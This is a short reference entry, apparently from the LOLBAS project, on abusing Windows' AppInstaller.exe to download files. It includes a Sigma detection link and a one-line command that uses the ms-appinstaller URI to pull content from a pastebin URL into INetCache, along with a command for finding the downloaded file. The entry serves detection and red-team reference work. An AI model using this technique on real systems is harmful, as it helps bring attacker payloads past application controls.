.. /AppInstaller.exe

Star

Paths:

• C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.11.2521.0_x64__8wekyb3d8bbwe\AppInstaller.exe

Resources:

• https://twitter.com/notwhickey/status/1333900137232523264

Acknowledgements:

• Wade Hickey (@notwhickey)

Detections:

• Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/dns_query/dns_query_win_lolbin_appinstaller.yml

Download

1. AppInstaller.exe is spawned by the default handler for the URI, it attempts to load/install a package from the URL and is saved in INetCache.

   start ms-appinstaller://?source=https://pastebin.com/raw/tdyShwLw

   Use case

   Download file from Internet

   Privileges required

   User

   Operating systems

   Windows 10, Windows 11

   ATT&CK® technique

   T1105

   Tags

   Download: INetCache

   INetCache downloaders typically store files in a randomly-named folder under %LOCALAPPDATA%\Microsoft\Windows\INetCache\IE, having added [1] or a higher number between the file's name and its extension.
   If you downloaded a file named XYZ.exe, the full path of the downloaded file can be obtained by executing the following command:
   cmd.exe /c "where /r %LOCALAPPDATA%\Microsoft\Windows\INetCache XYZ*"